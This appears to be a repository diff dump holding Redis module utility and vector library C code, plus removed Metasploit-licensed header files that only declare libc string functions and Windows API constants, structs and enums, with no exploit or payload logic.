void RMUtilRedisInfo_Free(RMUtilInfo *info) {
for (int i = 0; i < info->numEntries; i++) {
free(info->entries[i].key);
free(info->entries[i].val);
}
free(info->entries);
free(info);
}
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
return 0;
}
*val = strtoll(p, NULL, 10);
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
*val = -1;
return 0;
}
return 1;
}
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
int i;
for (i = 0; i < info->numEntries; i++) {
if (!strcmp(key, info->entries[i].key)) {
*str = info->entries[i].val;
return 1;
}
}
return 0;
}
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
printf("not found %s\n", key);
return 0;
}
*d = strtod(p, NULL);
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
return 0;
}
return 1;
}
/*
c -- pointer to a Null terminated C string pointer.
b -- pointer to a C buffer, followed by pointer to a size_t for its length
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
va_end(ap);
return rc;
}
// Internal function that parses arguments based on the format described above
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
int i = offset;
char *c = (char *)fmt;
while (*c && i < argc) {
// read c string
if (*c == 'c') {
char **p = va_arg(ap, char **);
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
} else if (*c == 'b') {
char **p = va_arg(ap, char **);
size_t *len = va_arg(ap, size_t *);
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
} else if (*c == 's') { // read redis string
RedisModuleString **s = va_arg(ap, void *);
*s = argv[i];
} else if (*c == 'l') { // read long
long long *l = va_arg(ap, long long *);
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == 'd') { // read double
double *d = va_arg(ap, double *);
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == '*') { // skip current arg
// do nothing
} else {
return REDISMODULE_ERR; // WAT?
}
c++;
i++;
}
// if the format is longer than argc, retun an error
if (*c != 0) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...) {
int pos = RMUtil_ArgIndex(token, argv, argc);
if (pos < 0) {
return REDISMODULE_ERR;
}
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
va_end(ap);
return rc;
}
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path) {
if (rep == NULL) return NULL;
RedisModuleCallReply *ele = rep;
const char *s = path;
char *e;
long idx;
do {
errno = 0;
idx = strtol(s, &e, 10);
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
ele = NULL;
break;
}
s = e;
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
} while ((ele != NULL) && (*e != '\0'));
return ele;
}
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
if (key == NULL) {
return RMUTIL_VALUE_MISSING;
}
int keytype = RedisModule_KeyType(key);
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
return RMUTIL_VALUE_EMPTY;
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
*out = RedisModule_ModuleTypeGetValue(key);
return RMUTIL_VALUE_OK;
} else {
return RMUTIL_VALUE_MISMATCH;
}
}
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs) {
if (offset > argc) {
return NULL;
}
argv += offset;
argc -= offset;
int ix = RMUtil_ArgIndex(keyword, argv, argc);
if (ix < 0) {
return NULL;
} else if (ix >= argc - 1) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
argv += (ix + 1);
argc -= (ix + 1);
long long n = 0;
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
if (n > argc - 1 || n < 0) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
*nargs = n;
return argv + 1;
}
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
size_t n;
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
} else {
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
}
if (rep != NULL) {
RedisModule_FreeCallReply(rep);
}
RedisModule_FreeThreadSafeContext(ctx);
}
+149
View File
@@ -0,0 +1,149 @@
#ifndef __UTIL_H__
#define __UTIL_H__
#include <redismodule.h>
#include <stdarg.h>
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
/// exit the current function
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
if (r == NULL) { \
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
RedisModule_ReplyWithCallReply(ctx, r); \
return REDISMODULE_ERR; \
}
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
return REDISMODULE_ERR;
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
/* RedisModule utilities. */
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
compatibility. */
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
/**
Automatically conver the arg list to corresponding variable pointers according to a given format.
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
the variables.
The format is a string consisting of the following identifiers:
c -- pointer to a Null terminated C string pointer.
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
Example: If I want to parse args[1], args[2] as a long long and double, I do:
double d;
long long l;
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
/**
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
This is useful for optional stuff like [LIMIT [offset] [limit]]
*/
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...);
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
/**
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
* If keyword is present, returns the position within `argv` containing the arguments.
* Returns NULL if the keyword is not found.
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
* the return value is not NULL.
*/
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs);
/**
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
* internally. To use this function, pass it as the .aof_rewrite value in
* RedisModuleTypeMethods
*/
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
// A single key/value entry in a redis info map
typedef struct {
char *key;
char *val;
} RMUtilInfoEntry;
// Representation of INFO command response, as a list of k/v pairs
typedef struct {
RMUtilInfoEntry *entries;
int numEntries;
} RMUtilInfo;
/**
* Get redis INFO result and parse it as RMUtilInfo.
* Returns NULL if something goes wrong.
* The resulting object needs to be freed with RMUtilRedisInfo_Free
*/
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
/**
* Free an RMUtilInfo object and its entries
*/
void RMUtilRedisInfo_Free(RMUtilInfo *info);
/**
* Get an integer value from an info object. Returns 1 if the value was found and
* is an integer, 0 otherwise. the value is placed in 'val'
*/
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
/**
* Get a string value from an info object. The value is placed in str.
* Returns 1 if the key was found, 0 if not
*/
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
/**
* Get a double value from an info object. Returns 1 if the value was found and is
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
*/
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
/*
* Returns a call reply array's element given by a space-delimited path. E.g.,
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
* element from an array (or NULL if not found)
*/
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path);
/**
* Extract the module type from an opened key.
*/
typedef enum {
RMUTIL_VALUE_OK = 0,
RMUTIL_VALUE_MISSING,
RMUTIL_VALUE_EMPTY,
RMUTIL_VALUE_MISMATCH
} RMUtil_TryGetValueStatus;
/**
* Tries to extract the module-specific type from the value.
* @param key an opened key (may be null)
* @param type the pointer to the type to match to
* @param[out] out if the value is present, will be set to it.
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
*/
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
#endif
+88
View File
@@ -0,0 +1,88 @@
#include "vector.h"
#include <stdio.h>
inline int __vector_PushPtr(Vector *v, void *elem) {
if (v->top == v->cap) {
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
}
__vector_PutPtr(v, v->top, elem);
return v->top;
}
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
// return 0 if pos is out of bounds
if (pos >= v->top) {
return 0;
}
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
return 1;
}
/* Get the element at the end of the vector, decreasing the size by one */
inline int Vector_Pop(Vector *v, void *ptr) {
if (v->top > 0) {
if (ptr != NULL) {
Vector_Get(v, v->top - 1, ptr);
}
v->top--;
return 1;
}
return 0;
}
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
// resize if pos is out of bounds
if (pos >= v->cap) {
Vector_Resize(v, pos + 1);
}
if (elem) {
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
} else {
memset(v->data + pos * v->elemSize, 0, v->elemSize);
}
// move the end offset to pos if we grew
if (pos >= v->top) {
v->top = pos + 1;
}
return 1;
}
int Vector_Resize(Vector *v, size_t newcap) {
int oldcap = v->cap;
v->cap = newcap;
v->data = realloc(v->data, v->cap * v->elemSize);
// If we grew:
// put all zeros at the newly realloc'd part of the vector
if (newcap > oldcap) {
int offset = oldcap * v->elemSize;
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
}
return v->cap;
}
Vector *__newVectorSize(size_t elemSize, size_t cap) {
Vector *vec = malloc(sizeof(Vector));
vec->data = calloc(cap, elemSize);
vec->top = 0;
vec->elemSize = elemSize;
vec->cap = cap;
return vec;
}
void Vector_Free(Vector *v) {
free(v->data);
free(v);
}
/* return the used size of the vector, regardless of capacity */
inline int Vector_Size(Vector *v) { return v->top; }
/* return the actual capacity */
inline int Vector_Cap(Vector *v) { return v->cap; }
+73
View File
@@ -0,0 +1,73 @@
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
/*
* Generic resizable vector that can be used if you just want to store stuff
* temporarily.
* Works like C++ std::vector with an underlying resizable buffer
*/
typedef struct {
char *data;
size_t elemSize;
size_t cap;
size_t top;
} Vector;
/* Create a new vector with element size. This should generally be used
* internall by the NewVector macro */
Vector *__newVectorSize(size_t elemSize, size_t cap);
// Put a pointer in the vector. To be used internall by the library
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
/*
* Create a new vector for a given type and a given capacity.
* e.g. NewVector(int, 0) - empty vector of ints
*/
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
/*
* get the element at index pos. The value is copied in to ptr. If pos is outside
* the vector capacity, we return 0
* otherwise 1
*/
int Vector_Get(Vector *v, size_t pos, void *ptr);
/* Get the element at the end of the vector, decreasing the size by one */
int Vector_Pop(Vector *v, void *ptr);
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
//*(typeof(ptr))(v->data + v->elemSize*pos)
/*
* Put an element at pos.
* Note: If pos is outside the vector capacity, we resize it accordingly
*/
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
/* Push an element at the end of v, resizing it if needed. This macro wraps
* __vector_PushPtr */
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
int __vector_PushPtr(Vector *v, void *elem);
/* resize capacity of v */
int Vector_Resize(Vector *v, size_t newcap);
/* return the used size of the vector, regardless of capacity */
int Vector_Size(Vector *v);
/* return the actual capacity */
int Vector_Cap(Vector *v);
/* free the vector and the underlying data. Does not release its elements if
* they are pointers*/
void Vector_Free(Vector *v);
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
#endif
-27
View File
@@ -1,27 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
void *memchr(const void*, int, size_t);
int memcmp(const void*, const void*, size_t);
void *memcpy(void*, const void*, size_t);
void *memmove(void*, const void*, size_t);
void *memset(void*, int, size_t);
char *strcat(char*, const char*);
char *strncat(char*, const char*, size_t);
char *strchr(const char*, int);
int strcmp(const char*, const char*);
int strncmp(const char*, const char*, size_t);
int strcoll(const char*, const char*);
char *strcpy(char*, const char*);
char *strncpy(char*, const char*, size_t);
size_t strcspn(const char*, const char*);
char *strerror(int);
size_t strlen(const char*);
char *strpbrk(const char*, const char*);
char *strrchr(const char*, int);
size_t strspn(const char*, const char*);
char *strstr(const char*, const char*);
char *strtok(char*, const char*);
size_t strxfrm(char*, const char*, size_t);
-555
View File
@@ -1,555 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
#define MAX_PATH 260
#define MEM_COMMIT 0x00001000
#define MEM_RESERVE 0x00002000
#define MEM_RESET 0x00080000
#define MEM_RESET_UNDO 0x1000000
#define MEM_LARGE_PAGES 0x20000000
#define MEM_PHYSICAL 0x00400000
#define MEM_TOP_DOWN 0x00100000
#define MEM_WRITE_WATCH 0x00200000
#define PAGE_EXECUTE_READWRITE 0x00000040
#define HEAP_GENERATE_EXCEPTIONS 0x00000004
#define HEAP_NO_SERIALIZE 0x00000001
#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010
#define HEAP_ZERO_MEMORY 0x00000008
#define STARTF_FORCEONFEEDBACK 0x00000040
#define STARTF_FORCEOFFFEEDBACK 0x00000080
#define STARTF_PREVENTPINNING 0x00002000
#define STARTF_RUNFULLSCREEN 0x00000020
#define STARTF_TITLEISAPPID 0x00001000
#define STARTF_TITLEISLINKNAME 0x00000800
#define STARTF_USECOUNTCHARS 0x00000008
#define STARTF_USEFILLATTRIBUTE 0x00000010
#define STARTF_USEHOTKEY 0x00000200
#define STARTF_USEPOSITION 0x00000004
#define STARTF_USESHOWWINDOW 0x00000001
#define STARTF_USESIZE 0x00000002
#define STARTF_USESTDHANDLES 0x00000100
#define GW_CHILD 5
#define GW_ENABLEDPOPUP 6
#define GW_HWNDFIRST 0
#define GW_HWNDLAST 1
#define GW_HWNDNEXT 2
#define GW_OWNER 4
#define MB_ABORTRETRYIGNORE 0x00000002L
#define MB_CANCELTRYCONTINUE 0x00000006L
#define MB_HELP 0x00004000L
#define MB_OK 0x00000000L
#define MB_OKCANCEL 0x00000001L
#define MB_RETRYCANCEL 0x00000005L
#define MB_YESNO 0x00000004L
#define MB_YESNOCANCEL 0x00000003L
#define MB_ICONEXCLAMATION 0x00000030L
#define MB_ICONWARNING 0x00000030L
#define MB_ICONINFORMATION 0x00000040L
#define MB_ICONASTERISK 0x00000040L
#define MB_ICONQUESTION 0x00000020L
#define MB_ICONSTOP 0x00000010L
#define MB_ICONERROR 0x00000010L
#define MB_ICONHAND 0x00000010L
#define MB_DEFBUTTON1 0x00000000L
#define MB_DEFBUTTON2 0x00000100L
#define MB_DEFBUTTON3 0x00000200L
#define MB_DEFBUTTON4 0x00000300L
#define MB_APPLMODAL 0x00000000L
#define MB_SYSTEMMODAL 0x00001000L
#define MB_TASKMODAL 0x00002000L
#define MB_DEFAULT_DESKTOP_ONLY 0x00020000L
#define MB_RIGHT 0x00080000L
#define MB_RTLREADING 0x00100000L
#define MB_SETFOREGROUND 0x00010000L
#define MB_TOPMOST 0x00040000L
#define MB_SERVICE_NOTIFICATION 0x00200000L
#define IDABORT 3
#define IDCANCEL 2
#define IDCONTINUE 11
#define IDIGNORE 5
#define IDNO 7
#define IDOK 1
#define IDRETRY 4
#define IDTRYAGAIN 10
#define IDYES 6
#define HEAP_CREATE_ENABLE_EXECUTE 0x00040000
#define SC_MANAGER_ALL_ACCESS 0xf003f
#define SC_MANAGER_CONNECT 1
#define SC_MANAGER_CREATE_SERVICE 2
#define SC_MANAGER_ENUMERATE_SERVICE 4
#define SC_MANAGER_LOCK 8
#define SC_MANAGER_QUERY_LOCK_STATUS 16
#define SC_MANAGER_MODIFY_BOOT_CONFIG 32
#define SERVICE_NO_CHANGE (-1)
#define SERVICE_STOPPED 1
#define SERVICE_START_PENDING 2
#define SERVICE_STOP_PENDING 3
#define SERVICE_RUNNING 4
#define SERVICE_CONTINUE_PENDING 5
#define SERVICE_PAUSE_PENDING 6
#define SERVICE_PAUSED 7
#define SERVICE_ACCEPT_STOP 1
#define SERVICE_ACCEPT_PAUSE_CONTINUE 2
#define SERVICE_ACCEPT_SHUTDOWN 4
#define SERVICE_CONTROL_STOP 1
#define SERVICE_CONTROL_PAUSE 2
#define SERVICE_CONTROL_CONTINUE 3
#define SERVICE_CONTROL_INTERROGATE 4
#define SERVICE_CONTROL_SHUTDOWN 5
#define SERVICE_ACTIVE 1
#define SERVICE_INACTIVE 2
#define SERVICE_STATE_ALL 3
#define SERVICE_QUERY_CONFIG 1
#define SERVICE_CHANGE_CONFIG 2
#define SERVICE_QUERY_STATUS 4
#define SERVICE_ENUMERATE_DEPENDENTS 8
#define SERVICE_START 16
#define SERVICE_STOP 32
#define SERVICE_PAUSE_CONTINUE 64
#define SERVICE_INTERROGATE 128
#define SERVICE_USER_DEFINED_CONTROL 256
#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL)
#define GHND 0x0042
#define GMEM_FIXED 0x0000
#define GMEM_MOVEABLE 0x0002
#define GMEM_ZEROINIT 0x0040
#define GPTR 0x0040
#define WH_CALLWNDPROC 4
#define WH_CALLWNDPROCRET 12
#define WH_CBT 5
#define WH_DEBUG 9
#define WH_FOREGROUNDIDLE 11
#define WH_GETMESSAGE 3
#define WH_JOURNALPLAYBACK 1
#define WH_JOURNALRECORD 0
#define WH_KEYBOARD 2
#define WH_KEYBOARD_LL 13
#define WH_MOUSE 7
#define WH_MOUSE_LL 14
#define WH_MSGFILTER -1
#define WH_SHELL 10
#define WH_SYSMSGFILTER 6
#define GENERIC_READ 0x80000000
#define GENERIC_WRITE 0x40000000
#define GENERIC_EXECUTE 0x20000000
#define GENERIC_ALL 0x10000000
#define FILE_SHARE_READ 0x00000001
#define FILE_SHARE_WRITE 0x00000002
#define FILE_SHARE_DELETE 0x00000004
#define CREATE_NEW 1
#define CREATE_ALWAYS 2
#define OPEN_EXISTING 3
#define OPEN_ALWAYS 4
#define TRUNCATE_EXISTING 5
#define FILE_ATTRIBUTE_READONLY 0x00000001
#define FILE_ATTRIBUTE_NORMAL 0x00000080
#define FILE_ATTRIBUTE_TEMPORARY 0x00000100
#define FILE_FLAG_WRITE_THROUGH 0x80000000
#define FILE_FLAG_NO_BUFFERING 0x20000000
#define FILE_FLAG_RANDOM_ACCESS 0x10000000
#define FILE_FLAG_SEQUENTIAL_SCAN 0x08000000
#define FILE_FLAG_DELETE_ON_CLOSE 0x04000000
#define FILE_FLAG_OVERLAPPED 0x40000000
#define FILE_ATTRIBUTE_HIDDEN 0x00000002
#define FILE_ATTRIBUTE_SYSTEM 0x00000004
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010
#define FILE_ATTRIBUTE_ARCHIVE 0x00000020
#define FILE_ATTRIBUTE_DEVICE 0x00000040
#define ERROR_FILE_NOT_FOUND 2L
#define ERROR_NO_MORE_FILES 18L
#define INVALID_HANDLE_VALUE ((HANDLE) -1)
#define INVALID_FILE_SIZE ((DWORD)0xFFFFFFFF)
#define FILE_NAME_NORMALIZED 0x0
#define FILE_NAME_OPENED 0x8
#define VOLUME_NAME_DOS 0x0
#define VOLUME_NAME_GUID 0x1
#define VOLUME_NAME_NONE 0x4
#define VOLUME_NAME_NT 0x2
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
#define SERVICE_KERNEL_DRIVER 0x00000001
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
#define SERVICE_USER_OWN_PROCESS 0x00000050
#define SERVICE_USER_SHARE_PROCESS 0x00000060
#define SERVICE_INTERACTIVE_PROCESS 0x00000100
#define SERVICE_CONTINUE_PENDING 0x00000005
#define SERVICE_PAUSE_PENDING 0x00000006
#define SERVICE_PAUSED 0x00000007
#define SERVICE_RUNNING 0x00000004
#define SERVICE_START_PENDING 0x00000002
#define SERVICE_STOP_PENDING 0x00000003
#define SERVICE_STOPPED 0x00000001
#define SERVICE_AUTO_START 0x00000002
#define SERVICE_BOOT_START 0x00000000
#define SERVICE_DEMAND_START 0x00000003
#define SERVICE_DISABLED 0x00000004
#define SERVICE_SYSTEM_START 0x00000001
#define SERVICE_ERROR_CRITICAL 0x00000003
#define SERVICE_ERROR_IGNORE 0x00000000
#define SERVICE_ERROR_NORMAL 0x00000001
#define SERVICE_ERROR_SEVERE 0x00000002
#define SERVICE_DRIVER 0x0000000B
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
#define SERVICE_KERNEL_DRIVER 0x00000001
#define SERVICE_WIN32 0x00000030
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
#define MAKEWORD(a,b) ((WORD)(((BYTE)(a))|(((WORD)((BYTE)(b)))<<8)))
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
#define ZeroMemory RtlZeroMemory
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES , *LPSECURITY_ATTRIBUTES;
typedef struct _LPTHREAD_START_ROUTINE {
LPVOID lpThreadParameter;
} LPTHREAD_START_ROUTINE, *LPTHREAD_START_ROUTINE;
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
typedef struct _OVERLAPPED {
ULONG_PTR Internal;
ULONG_PTR InternalHigh;
union {
struct {
DWORD Offset;
DWORD OffsetHigh;
};
PVOID Pointer;
};
HANDLE hEvent;
} OVERLAPPED, *LPOVERLAPPED;
typedef DWORD SERVICE_STATUS_HANDLE;
typedef VOID(WINAPI *LPHANDLER_FUNCTION)(DWORD);
typedef void (WINAPI *LPSERVICE_MAIN_FUNCTION)(DWORD,LPSTR*);
typedef struct _SERVICE_TABLE_ENTRY {
LPSTR lpServiceName;
LPSERVICE_MAIN_FUNCTION lpServiceProc;
} SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
typedef SERVICE_TABLE_ENTRY SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
typedef enum _SC_ENUM_TYPE {
SC_ENUM_PROCESS_INFO = 0
} SC_ENUM_TYPE;
typedef enum _HEAP_INFORMATION_CLASS {
HeapCompatibilityInformation = 0,
HeapEnableTerminationOnCorruption = 1
} HEAP_INFORMATION_CLASS;
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;
typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[MAX_PATH];
TCHAR cAlternateFileName[14];
} WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;
typedef struct tagPOINT {
LONG x;
LONG y;
} POINT, *PPOINT;
typedef struct tagMSG {
HWND hwnd;
UINT message;
WPARAM wParam;
LPARAM lParam;
DWORD time;
POINT pt;
} MSG, *PMSG, *LPMSG;
typedef struct _BY_HANDLE_FILE_INFORMATION {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD dwVolumeSerialNumber;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD nNumberOfLinks;
DWORD nFileIndexHigh;
DWORD nFileIndexLow;
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;
typedef struct _SERVICE_STATUS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;
typedef struct _ENUM_SERVICE_STATUS {
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
typedef struct _GUID {
DWORD Data1;
WORD Data2;
WORD Data3;
BYTE Data4[8];
} GUID;
typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
typedef enum _PROCESSINFOCLASS {
ProcessBasicInformation = 0,
ProcessQuotaLimits = 1,
ProcessIoCounters = 2,
ProcessVmCounters = 3,
ProcessTimes = 4,
ProcessBasePriority = 5,
ProcessRaisePriority = 6,
ProcessDebugPort = 7,
ProcessExceptionPort = 8,
ProcessAccessToken = 9,
ProcessLdtInformation = 10,
ProcessLdtSize = 11,
ProcessDefaultHardErrorMode = 12,
ProcessIoPortHandlers = 13,
ProcessPooledUsageAndLimits = 14,
ProcessWorkingSetWatch = 15,
ProcessUserModeIOPL = 16,
ProcessEnableAlignmentFaultFixup = 17,
ProcessPriorityClass = 18,
ProcessWx86Information = 19,
ProcessHandleCount = 20,
ProcessAffinityMask = 21,
ProcessPriorityBoost = 22,
ProcessDeviceMap = 23,
ProcessSessionInformation = 24,
ProcessForegroundInformation = 25,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessLUIDDeviceMapsEnabled = 28,
ProcessBreakOnTermination = 29,
ProcessDebugObjectHandle = 30,
ProcessDebugFlags = 31,
ProcessHandleTracing = 32,
ProcessIoPriority = 33,
ProcessExecuteFlags = 34,
ProcessTlsInformation = 35,
ProcessCookie = 36,
ProcessImageInformation = 37,
ProcessCycleTime = 38,
ProcessPagePriority = 39,
ProcessInstrumentationCallback = 40,
ProcessThreadStackAllocation = 41,
ProcessWorkingSetWatchEx = 42,
ProcessImageFileNameWin32 = 43,
ProcessImageFileMapping = 44,
ProcessAffinityUpdateMode = 45,
ProcessMemoryAllocationMode = 46,
ProcessGroupInformation = 47,
ProcessTokenVirtualizationEnabled = 48,
ProcessOwnerInformation = 49,
ProcessWindowInformation = 50,
ProcessHandleInformation = 51,
ProcessMitigationPolicy = 52,
ProcessDynamicFunctionTableInformation = 53,
ProcessHandleCheckingMode = 54,
ProcessKeepAliveCount = 55,
ProcessRevokeFileHandles = 56,
ProcessWorkingSetControl = 57,
ProcessHandleTable = 58,
ProcessCheckStackExtentsMode = 59,
ProcessCommandLineInformation = 60,
ProcessProtectionInformation = 61,
ProcessMemoryExhaustion = 62,
ProcessFaultInformation = 63,
ProcessTelemetryIdInformation = 64,
ProcessCommitReleaseInformation = 65,
